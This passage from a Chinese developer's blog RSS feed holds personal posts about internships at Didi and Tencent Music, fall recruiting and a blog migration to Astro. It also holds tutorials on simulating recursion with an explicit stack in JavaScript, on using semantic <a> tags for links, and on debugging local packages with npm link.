&lt;p&gt;在我看来，实习更像是一场人生中的短途修行。这短短的路上，你会见到各种各样的人，遇到各种各样的事情。这些所见所闻，都会让你成长。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;具体在这里就不一一展开了，如需了解更多请移步如下文章。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://situ2001.com/blog/my-first-internship&quot;&gt;年轻人的第一次实习&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;年轻人的第二次实习（在写了.jpg）&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;s&gt;但感觉半年实习下来，写作能力和口头表达能力降低了&lt;/s&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;既然聊到实习了，那咱们顺便聊聊秋招。互联网行业的话，2023 年的招聘要求又上升了（特别是学历，很多公司开始设置学校/学历门槛，直接高攀不起...），如果我没有的实习经历加持的话，估计是彻底凉凉。&lt;/p&gt;
&lt;p&gt;并且，招聘的时间越来越提前了。我 8 月就开始投递和面试了。晚点再投的话，要么被淹没在简历的海洋里，要么就是面完之后没有了 HC，要么面试门槛在某个时间节点突然提高（确实，我 9 月才开始的流程全挂了...）&lt;/p&gt;
&lt;p&gt;一番面试下来，拿了些许意向，个人认为也还算可以，毕竟今年都 2023 年了，不要有过高的期望。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;不是 0 Offer 就算胜利&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;秋招意向：美团，快手，小红书&lt;/li&gt;
&lt;li&gt;实习转正：腾讯音乐&lt;/li&gt;
&lt;li&gt;泡池子：大疆&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;归来仍是少年&lt;/h2&gt;
&lt;p&gt;实习回校，自己也成大四“老人”了。看着大一的学弟学妹们欢快地走在校园的小道，感觉自己好像还是昨天刚刚来到学校的样子。再看看自己，已经是大四的学生了，这意味着自己快要跟校园生活说再见了。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;大一的时候以为大四离自己很远，但当自己成了大四学生之后，才发现时间过得飞快。很多自己曾经觉得触不可及的事物，其实离自己并不遥远。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;回来学校，才发现大家备考的备考，找工作的找工作。只有保研党和找到了工作的同学（&lt;s&gt;还有回家继承家业的&lt;/s&gt;）在安逸地享受最后的大学时光了，校园生活，还是那样子没有变化，在找到工作后甚至变得更加惬意了，但只剩下一年不到的时间了。&lt;/p&gt;
&lt;p&gt;在此祝大家都心想事成，志在必得，成功上岸。愿大家磨练过后，归来仍是少年！&lt;/p&gt;
</content:encoded><category>随笔</category></item><item><title>Hello Astro</title><link>https://situ2001.com/blog/hello-astro/</link><guid isPermaLink="true">https://situ2001.com/blog/hello-astro/</guid><description>给博客换了一个静态页面生成器</description><pubDate>Mon, 23 Oct 2023 04:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;就在 1024 程序员节的前一天，我把博客迁移到 Astro 了。&lt;/p&gt;
&lt;p&gt;后续会优化一下页面的样式与交互体验。&lt;/p&gt;
</content:encoded><category>随笔</category></item><item><title>年轻人的第一次实习</title><link>https://situ2001.com/blog/my-first-internship/</link><guid isPermaLink="true">https://situ2001.com/blog/my-first-internship/</guid><description>年轻人的第一次进京实习</description><pubDate>Sun, 14 May 2023 07:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;背景：作者刚结束练习时长两月半的滴滴前端实习&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;序&lt;/h2&gt;
&lt;p&gt;时间过得真快，一下子就到了要找实习的时候了（互联网行业）。参考上一年互联网软件开发的惨状，我是时候得去拿一段实习经历保底了，总不能0实习去头铁冲秋招吧。&lt;/p&gt;
&lt;p&gt;抱着忐忑紧张的心态，我打开了BOSS直骗app，投了一些简历。途中，我发现这么几点情况（2023年2月初）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;广深地区/长三角地区的web前端实习岗位较为稀少&lt;/li&gt;
&lt;li&gt;很多岗位虽然开了但也仅仅只是开了，发岗位信息的BOSS全是半年前活跃（据说下架一个岗位也要付费）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最后投了北京的滴滴和百度，面着面着不想去北京的心情越来越强烈，我就把百度二面给拒了。但是emo之后就理智了，恰好滴滴过了，我就收拾好心情，做好相关的心理准备之后，就起身去北京挑战一下。&lt;/p&gt;
&lt;h2&gt;历&lt;/h2&gt;
&lt;p&gt;在滴滴实习的那段日子里，主要工作是滴滴司机部落app的新功能新页面的开发，主要使用weex1.0, Vue2这些比较老旧的技术。&lt;/p&gt;
&lt;p&gt;内部还有一个thanos项目，里头滴滴的同事都喜欢将weex应用说成thanos应用（不知道是不是约定俗成，thanos就是weex）&lt;/p&gt;
&lt;p&gt;不过，thanos只是一个集成了webpack loader和plugin如weex-vue-loader，mpx-loader等，然后在其上开发出自己的一套 &lt;code&gt;Plugin&lt;/code&gt; &lt;code&gt;Service&lt;/code&gt; &lt;code&gt;Config&lt;/code&gt; 机制、以及生命周期的项目。大致的工作原理如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Vue2/3 Code(You write) -&amp;gt; Thanos(Load &amp;amp; Compile) -&amp;gt; H5 or Weex or MPX APP Code(Generated)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;虽然很多项目和框架都抱着这样的一个美好愿景：“一次书写，多端运行”&lt;/p&gt;
&lt;p&gt;但是，现实是残酷的，这些框架或多或少会出现一些多端行为不一致的情况（如H5/小程序，如微信小程序/支付宝小程序/字节小程序，如安卓/iOS）。因此，在使用跨段框架开发应用的时候，就不要总是想着一口吃掉一个胖子，只拿着安卓机或iOS手机进行自测，然后写出所有代码。&lt;/p&gt;
&lt;p&gt;在应用层进行多端差异抹平这一步是难以、甚至无法逾越的，很明显的例子就是：滴滴内部的跨端代码充斥着各种端判断并单独适配。这是我两个月写weex应用得出的观点。&lt;/p&gt;
&lt;p&gt;有一天我问过我的mt：为什么滴滴选择了weex而不是React Native呢？他给出的回答是&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;选择一个框架并将其落地使用，需要考虑很多因素。因为选择后，很难跳车换框架重写。&lt;/p&gt;
&lt;p&gt;从框架方面考虑，当时weex框架是经过了淘宝app的历练，他的性能和稳定性都是有目共睹的。&lt;/p&gt;
&lt;p&gt;还要从人的角度考虑，weex使用vue，并且大多数业务的复杂度也没有非常高，再加上当时团队开发者的人均水平，选择了weex而不是React Native也是有道理的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;而实际呢。。。weex1停更了，并且在停更的时候，weex本身还有各种坑。&lt;s&gt;还是像Flutter和React Native这种生态活跃的社区比较稳&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;于是，现在滴滴不得不预估多20-30%的开发时间来处理weex应用的坑🌚&lt;/p&gt;
&lt;p&gt;除此之外，还体验到了一个需求从计划到上线的全流程，收获还是满满的。内部的工具做的也不错，至少没有出现什么致命的错误（又不是不能用.jpg）。&lt;/p&gt;
&lt;p&gt;据我认识的同学/朋友说：滴滴的DX（开发者体验）是互联网大公司里头最舒服的了。&lt;/p&gt;
&lt;p&gt;在我一番体验下来之后，确实感觉挺好的，但不一定最舒服（因为我只待过这一家公司），同事们也非常nice，每天工作挺融洽挺开心的。&lt;/p&gt;
&lt;h2&gt;终&lt;/h2&gt;
&lt;p&gt;时间过得好快，5月12就结束实习，15号就要坐飞机回广州了。下飞机的那一刻，能呼吸到湿润空气真的感觉，真是太舒服了（虽然半分钟不到头发就开始发油了。。。）&lt;/p&gt;
&lt;p&gt;如果没有意外的话，接下来估计是去腾讯音乐那边实习了。我觉得挺好的，主要是地理位置就在深圳，离广州只需要的一小时不到的车程；负责的是QQ音乐业务。&lt;/p&gt;
&lt;p&gt;其实大城市之间可以这么组合，公司在x而家在y，北京vs天津，上海vs杭州，深圳vs广州。滴滴实习的时候，有些同事家在天津而自己在北京工作，每周都能买张高铁票回家，真的不要太方便。&lt;/p&gt;
</content:encoded><category>随笔</category></item><item><title>如何模拟递归</title><link>https://situ2001.com/blog/tutorials/how-to-simulate-recursion/</link><guid isPermaLink="true">https://situ2001.com/blog/tutorials/how-to-simulate-recursion/</guid><description>在JS下模拟递归</description><pubDate>Mon, 16 Jan 2023 15:45:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;使用递归解决问题就像喝水一样简单。没有任何心智压力。&lt;/p&gt;
&lt;p&gt;但是非递归往往就不是这样了。比如最常见的二叉树前中后序遍历，特别是后两者，大量出现于程序员面试中，想要在现场写对非递归遍历，还是非常不简单的。&lt;/p&gt;
&lt;p&gt;那么，有没有一种通法，可以让我们轻松地原地将递归调用转化为非递归调用呢？那肯定是有的。&lt;/p&gt;
&lt;h2&gt;准备一棵树&lt;/h2&gt;
&lt;p&gt;在此之前，先定义二叉树的节点，以及构建一颗二叉树。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class TreeNode {
  constructor(val, left, right) {
    this.val = val;
    this.left = left;
    this.right = right;
  }
}

const root = new TreeNode(
  4,
  new TreeNode(2, new TreeNode(1), new TreeNode(3)),
  new TreeNode(6, new TreeNode(5), new TreeNode(7))
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;递归的中序遍历&lt;/h2&gt;
&lt;p&gt;很简单很自然，就不多说了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const traverse = (root) =&amp;gt; {
  if (!root) {
    return;
  }
  traverse(root.left);
  console.log(root.val);
  traverse(root.right);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;非递归的中序遍历&lt;/h2&gt;
&lt;p&gt;把之前的力扣解答拿过来。这里的栈是临时存放二叉树节点的，这个跟模拟递归过程差的有点远，不妨说是模拟中序遍历的过程。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/** iterative
 * Definition for a binary tree node.
 * function TreeNode(val, left, right) {
 *     this.val = (val===undefined ? 0 : val)
 *     this.left = (left===undefined ? null : left)
 *     this.right = (right===undefined ? null : right)
 * }
 */
/**
 * @param {TreeNode} root
 * @return {number[]}
 */
var inorderTraversal = function (root) {
  const result = [];
  if (!root) {
    return result;
  }

  const stack = [];
  let cur; // current pointed node
  cur = root;
  while (cur || stack.length &amp;gt; 0) {
    if (cur) {
      stack.push(cur);
      cur = cur.left;
    } else {
      const t = stack.pop();
      result.push(t.val);
      cur = t.right;
    }
  }

  return result;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;模拟递归&lt;/h2&gt;
&lt;p&gt;模拟遍历过程其实挺麻烦的。哎呀，看着自己写的递归不能用，真的是咬牙切齿。既然那不能用递归，我们能不能用迭代来&lt;strong&gt;模拟递归&lt;/strong&gt;呢？&lt;/p&gt;
&lt;p&gt;仔细回想专业课学习的知识，函数调用和执行的过程是与调用栈有关的，函数在被调用的时候，将对应的信息压入调用栈。一个函数在栈上表示的基本单位是&lt;strong&gt;栈帧&lt;/strong&gt;，栈帧包含了&lt;strong&gt;函数的参数&lt;/strong&gt;，局部变量，以及&lt;strong&gt;返回地址&lt;/strong&gt;等等。&lt;/p&gt;
&lt;p&gt;这里的返回地址，会在函数执行完毕后被使用 —— 通过&lt;code&gt;ret&lt;/code&gt;指令，从调用栈 pop 出，装载到 PC 寄存器，即可跳转到 caller 的将要继续执行的代码上。&lt;/p&gt;
&lt;p&gt;PS：这里的&lt;code&gt;ret&lt;/code&gt;指令，可以简单地理解为 JS 的&lt;code&gt;return&lt;/code&gt;。函数执行完后，将会从栈上弹出。&lt;/p&gt;
&lt;p&gt;那么，总结出简单模拟所需的元素&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;调用栈&lt;/li&gt;
&lt;li&gt;栈帧（包括了函数参数以及函数的 PC 指针）&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;const stack = [];

class StackFrame {
  constructor(arg, pc) {
    this.arg = arg;
    this.pc = pc;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再想想，PC 地址什么时候需要被保存到调用栈上？一般是该函数调用其他函数的时候，需要保存 PC 信息。那么我们可以将中序遍历划分为若干段。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const traverse = (root) =&amp;gt; {
  // pc = 0
  if (!root) {
    return; // pop
  }
  traverse(root.left);
  console.log(root.val); // pc = 1, waiting for return of traverse(root.left)
  traverse(root.right);
  // pop
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拥有这些背景知识后，我们就可以转化过来了。如下所示。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const simulate = () =&amp;gt; {
  const stack = [];
  stack.push(new StackFrame(root, 0)); // invoke traverse(root)

  while (stack.length &amp;gt; 0) {
    let top = stack.at(-1);
    let arg = top.arg;

    if (top.pc === 0) {
      if (!arg) {
        stack.pop(); // if (!arg) pop
      } else {
        top.pc = 1; // mark addr of console.log(val)
        stack.push(new StackFrame(arg.left, 0)); // invoke traverse(arg.left)
      }
    } else if (top.pc === 1) {
      console.log(arg.val);
      stack.pop(); // return
      stack.push(new StackFrame(arg.right, 0)); // invoke traverse(arg.right)
    }
  }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跑出结果 &lt;code&gt;1 2 3 4 5 6 7&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;转化为迭代器&lt;/h2&gt;
&lt;p&gt;模拟出来的迭代已经有了，那我们就可以顺手转化为迭代器了。实现&lt;code&gt;Symbol.iterator&lt;/code&gt;生成器即可。该迭代器类维护一个调用栈。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class TreeIterator {
  constructor(root) {
    this.stack = [];
    this.stack.push(new StackFrame(root, 0));
  }

  *[Symbol.iterator]() {
    while (this.stack.length &amp;gt; 0) {
      let top = this.stack.at(-1);
      let arg = top.arg;

      if (top.pc === 0) {
        if (!arg) {
          this.stack.pop();
        } else {
          top.pc = 1;
          this.stack.push(new StackFrame(arg.left, 0));
        }
      } else if (top.pc === 1) {
        yield arg.val; // HERE
        this.stack.pop();
        this.stack.push(new StackFrame(arg.right, 0));
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调用一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;console.log([...new TreeIterator(root)]); // [1, 2, 3, 4, 5, 6, 7]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Done. 一切都是那么的简单。&lt;/p&gt;
</content:encoded><category>JavaScript</category></item><item><title>不要乱用 HTML 标签</title><link>https://situ2001.com/blog/notes/do-not-use-tag-arbitrarily/</link><guid isPermaLink="true">https://situ2001.com/blog/notes/do-not-use-tag-arbitrarily/</guid><description>事物都有其存在的原因</description><pubDate>Mon, 31 Oct 2022 15:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;说来尴尬，我有一个朋友（）经常滥用 HTML 标签，并自认为乱用它们并不会产生什么大问题。&lt;/p&gt;
&lt;p&gt;举个例子，这位朋友的的博客主页上面有一个 GitHub 按钮，按下之后，就会跳转到&lt;a href=&quot;https://github.com/situ2001&quot;&gt;他的同性交友个人主页&lt;/a&gt;去。这位朋友他当时的实现，如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Link href={&quot;https://github.com/situ2001&quot;}&amp;gt;
  &amp;lt;div className=&quot;btn btn-outline btn-sm gap-1 rounded mr-2 cursor-pointer&quot;&amp;gt;
    &amp;lt;FiGithub /&amp;gt;
    GitHub
  &amp;lt;/div&amp;gt;
&amp;lt;/Link&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;反正用一个 &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; 甚至 &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; 标签，手搓一个 event handler 再配上现成的库，都能实现跳转是吧？&lt;/p&gt;
&lt;p&gt;直到今晚，我看到了文章——&lt;a href=&quot;https://zh.javascript.info/default-browser-action&quot;&gt;浏览器默认行为&lt;/a&gt;之后。感觉非常不妥。&lt;/p&gt;
&lt;p&gt;直接去到他的主页下，进行右键，诶我去，我的右键菜单怎么是这个样子的？！我的在新标签页中打开的选项，去到哪里了啊。。。？&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;必须得把我的所见所得，告诉给我的朋友听。&lt;/p&gt;
&lt;p&gt;显然，这位朋友显然也不是什么蠢驴，马上根据上面的描述得出下面这几点&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;许多事件会自动触发浏览器执行某些行为。比如，点击一个链接，就会触发导航（navigation）到该 URL。在文本上按下鼠标按钮并移动，就会选中文本。&lt;/li&gt;
&lt;li&gt;浏览器默认行为可以使用 &lt;code&gt;e.preventDefault()&lt;/code&gt; 来禁用&lt;/li&gt;
&lt;li&gt;保持语义，不要滥用&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;什么是“保持语义，不要滥用”呢？拿标签 &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; 举个例子——浏览器允许我们在该标签元素上，在右键菜单里，便可以在新窗口中打开此类链接。虽然我们可以使用 &lt;code&gt;cursor-pointer&lt;/code&gt; 这些 CSS 规则使得一个 &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; 表现得很像一个 &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;，但是浏览器内置的特定于标签 &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; 的行为，却是无法被干涉的。&lt;/p&gt;
&lt;p&gt;我的朋友速速理解完，接下来就是动手了——他马上打开他的博客仓库，找出使用了 &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; 甚至 &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; 来做 URL 跳转的地方，并速速开始了整改。&lt;/p&gt;
&lt;p&gt;很明显地，只需要把 &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; 或 &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; 标签给换成 &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; 标签就行了。如下所示&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Link href={&quot;https://github.com/situ2001&quot;}&amp;gt;
  &amp;lt;a className=&quot;btn btn-outline btn-sm gap-1 rounded mr-2&quot;&amp;gt;
    &amp;lt;FiGithub /&amp;gt;
    GitHub
  &amp;lt;/a&amp;gt;
&amp;lt;/Link&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，右键菜单的行为重归重要，终于可以右键，然后新标签页打开了~&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;一切正常了，为这位朋友的主动点赞（&lt;/p&gt;
</content:encoded><category>笔记</category></item><item><title>npm link 的用途</title><link>https://situ2001.com/blog/tutorials/link-your-local-node-modules/</link><guid isPermaLink="true">https://situ2001.com/blog/tutorials/link-your-local-node-modules/</guid><description>如何在自己的项目里调试本地 node module</description><pubDate>Sun, 02 Oct 2022 11:49:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;之前想过一个问题：一般来说，很多语言的代码在调试的时候，可以跳转到库代码里头并一览无余其代码，没有混淆和压缩。但是 JS 这边的代码呢...画风就完全不一样了，为了缩小体积做的压缩，为了代码的安全而做的混淆...&lt;/p&gt;
&lt;p&gt;这样做，对生产环境有极大的好处，但是对开发者来说呢，就是灾难了。&lt;/p&gt;
&lt;p&gt;诚然，我们可以在 npm 包里加一份未经压缩的代码，判断 environment 为 production 或  development。对于不同的环境，export 不同的文件(比如 &lt;code&gt;min.js&lt;/code&gt; 或 &lt;code&gt;prod.js&lt;/code&gt;)来解决这个问题。下面贴出 npm 包 &lt;code&gt;react&lt;/code&gt; 入口文件的代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;use strict&quot;;

if (process.env.NODE_ENV === &quot;production&quot;) {
  module.exports = require(&quot;./cjs/react.production.min.js&quot;);
} else {
  module.exports = require(&quot;./cjs/react.development.js&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但这个不一定是所有 npm 包都会这么做。&lt;/p&gt;
&lt;p&gt;那，有没有方法在自己的项目里头，调试到项目用到的 npm 包未经压缩的源码呢？&lt;/p&gt;
&lt;p&gt;其实还有场景2：你是某 npm 包的开发者，你在调试这个 npm 包，与此同时，你想在你的项目中使用你在本地改动了的 npm 包。&lt;/p&gt;
&lt;p&gt;那么，该包的改动如何可以以最短时间，最高的效率，作用到你用到了这个库的代码里头呢？&lt;/p&gt;
&lt;p&gt;也许我们可以发版，然后在对应项目里头更新这个 npm 包依赖。但是这么做，非常麻烦，很耗精力很耗时间。&lt;/p&gt;
&lt;h2&gt;试试链接吧&lt;/h2&gt;
&lt;p&gt;关键点：文件软链接 &lt;strong&gt;symlink&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;去网上搜索了一下解决方案，发现我们可以使用 &lt;code&gt;npm link&lt;/code&gt; 命令来满足这个需求。&lt;/p&gt;
&lt;p&gt;官方对该命令的解释如下&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is handy for installing your own stuff, so that you can work on it and test iteratively without having to continually rebuild.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;继续查看文档，发现这个命令是用于创建本地文件的 symlink，将本地的 node module 给链接到自己的项目中去。&lt;/p&gt;
&lt;p&gt;即，将该模块的文件夹给链接到 &lt;code&gt;{prefix}/lib/node_modules/&amp;lt;package&amp;gt;&lt;/code&gt;，将该模块的二进制文件（如有）链接到 &lt;code&gt;{prefix}/bin/{name}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;PS: 这个 prefix 可以通过命令 &lt;code&gt;npm prefix -g&lt;/code&gt; 获得&lt;/p&gt;
&lt;p&gt;接着，如果我们在其他项目里头运行命令 &lt;code&gt;npm link &amp;lt;package name&amp;gt;&lt;/code&gt;，即可在 &lt;code&gt;node_modules&lt;/code&gt; 目录下生成该包 &lt;code&gt;&amp;lt;package name&amp;gt;&lt;/code&gt; 的链接。&lt;/p&gt;
&lt;h2&gt;实操&lt;/h2&gt;
&lt;p&gt;比如我需要知道与依赖注入相关的库的具体实现，比较好的一个方法就是找出这个库的代码（如果有的话），然后在本地跑起来。&lt;/p&gt;
&lt;p&gt;在这里，我想在本地调试一个 npm 包 &lt;code&gt;@opensumi/di&lt;/code&gt;，我想要在调试的时候看到未经混淆压缩的源码，还想在随心所欲给修改这个包的代码以观察行为。&lt;/p&gt;
&lt;p&gt;此时，我们可以在这个 npm 包的目录下，运行命令 &lt;code&gt;npm link&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  di git:(main) ✗ npm link

&amp;gt; @opensumi/di@1.8.0 prepare /Users/situ/Codes/di
&amp;gt; husky install

husky - Git hooks installed
audited 616 packages in 1.413s

87 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities

/Users/situ/.nvm/versions/node/v14.20.0/lib/node_modules/@opensumi/di -&amp;gt; /Users/situ/Codes/di
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意上面打印出来的最后一行信息，创建了一个软链接文件，该文件的 stats 信息如下所示&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  di git:(main) ✗ stat -x /Users/situ/.nvm/versions/node/v14.20.0/lib/node_modules/@opensumi/di
  File: &quot;/Users/situ/.nvm/versions/node/v14.20.0/lib/node_modules/@opensumi/di&quot;
  Size: 20           FileType: Symbolic Link
  Mode: (0755/lrwxr-xr-x)         Uid: (  501/    situ)  Gid: (   20/   staff)
Device: 1,18   Inode: 27493795    Links: 1
Access: Sun Oct  2 19:46:58 2022
Modify: Sun Oct  2 19:46:58 2022
Change: Sun Oct  2 19:46:58 2022
 Birth: Sun Oct  2 19:46:58 2022
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时，在自己的其他项目下运行命令 &lt;code&gt;npm link &quot;@opensumi/di&quot;&lt;/code&gt; 即可链接到目的 npm 包的目录下。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜ npm link &quot;@opensumi/di&quot;
/Users/situ/Codes/Playground/node-scripts/node_modules/@opensumi/di -&amp;gt; /Users/situ/.nvm/versions/node/v14.20.0/lib/node_modules/@opensumi/di -&amp;gt; /Users/situ/Codes/di
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建的同样是一个软链接文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  di git:(main) ✗ stat -x /Users/situ/Codes/Playground/node-scripts/node_modules/@opensumi/di
  File: &quot;/Users/situ/Codes/Playground/node-scripts/node_modules/@opensumi/di&quot;
  Size: 72           FileType: Symbolic Link
  Mode: (0755/lrwxr-xr-x)         Uid: (  501/    situ)  Gid: (   20/   staff)
Device: 1,18   Inode: 27492422    Links: 1
Access: Sun Oct  2 19:39:03 2022
Modify: Sun Oct  2 19:39:03 2022
Change: Sun Oct  2 19:39:03 2022
 Birth: Sun Oct  2 19:39:03 2022
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;本地试试&lt;/h2&gt;
&lt;p&gt;万事俱备，基于上面的操作，我们尝试在本地改动一下上面提及的库，看看起不起作用。&lt;/p&gt;
&lt;p&gt;这里先放上一段代码，我是想通过实际上手使用该库来了解这个库的工作原理。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { Autowired, Injectable, Injector, INJECTOR_TOKEN } from &quot;@opensumi/di&quot;;

const injector: Injector = new Injector();

injector.addProviders({
  token: &quot;114514&quot;,
  useValue: { a: 1, b: 2 },
});

@Injectable()
class A {
  @Autowired(INJECTOR_TOKEN)
  injector: Injector;

  constructor() {
    console.log(&quot;Create A&quot;);
  }
}

@Injectable()
class B {
  @Autowired()
  a: A;

  constructor() {
    console.log(&quot;Create B&quot;);
  }
}

injector.addProviders(A, B);

const b = injector.get(B);
console.log(b.a instanceof A);
console.log(injector.get(&quot;114514&quot;));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果什么也没有改动的话，输出应该如下。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  node-scripts ts-node-esm di-test.ts
Create B
Create A
true
{ a: 1, b: 2 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里举个非常简单的例子，如下（为了创造需求而创造需求）&lt;/p&gt;
&lt;p&gt;放在以前，我无法改动库的代码，就很难得知什么时候类 &lt;code&gt;A&lt;/code&gt; 和 &lt;code&gt;B&lt;/code&gt; 变为 &lt;code&gt;Injectable&lt;/code&gt; 的。&lt;/p&gt;
&lt;p&gt;但现在我们知道了 &lt;code&gt;npm link&lt;/code&gt; 这个强大的命令。在创建好对应的链接文件之后，我们就可以直接改本地的库，改动会立即反映到我们项目的代码里头。&lt;/p&gt;
&lt;p&gt;我们在 &lt;code&gt;@opensumi/di&lt;/code&gt; 对应的装饰器和构造函数里头塞入一行 &lt;code&gt;console.log&lt;/code&gt; 语句。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * 装饰一个 Class 是否是可以被依赖注入
 * @param opts
 */
export function Injectable(opts?: InstanceOpts): ClassDecorator {
  return &amp;lt;T extends Function&amp;gt;(target: T) =&amp;gt; {
    Helper.markInjectable(target, opts);

    console.log(&apos;Made&apos;, target, &apos;Injectable&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后重新构建一下 &lt;code&gt;@opensumi/di&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在自己的项目下重新运行一次上上面的那段代码，结果如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  node-scripts ts-node-esm di-test.ts
Made [Function: A] Injectable
Made [Function: B] Injectable
Create B
Create A
true
{ a: 1, b: 2 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时，我们可以大概看出两个类什么时候被 make 为 Injectable 了&lt;/p&gt;
&lt;p&gt;我们尝试让代码抛出一个错误，修改上上面代码的最后一行为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;console.log(injector.get(&quot;1919810&quot;));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从 stack trace 上，也可以清晰明了看到链接的库的文件路径&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  node-scripts ts-node-esm di-test.ts
Made [Function: A] Injectable
Made [Function: B] Injectable
Create B
Create A
true
/Users/situ/Codes/di/dist/error.js:45
    return new Error(&quot;Cannot find Provider of &quot;.concat(tokens.map(function (t) { return stringify(t); }).join(&apos;, &apos;)));
           ^
Error: Cannot find Provider of 1919810
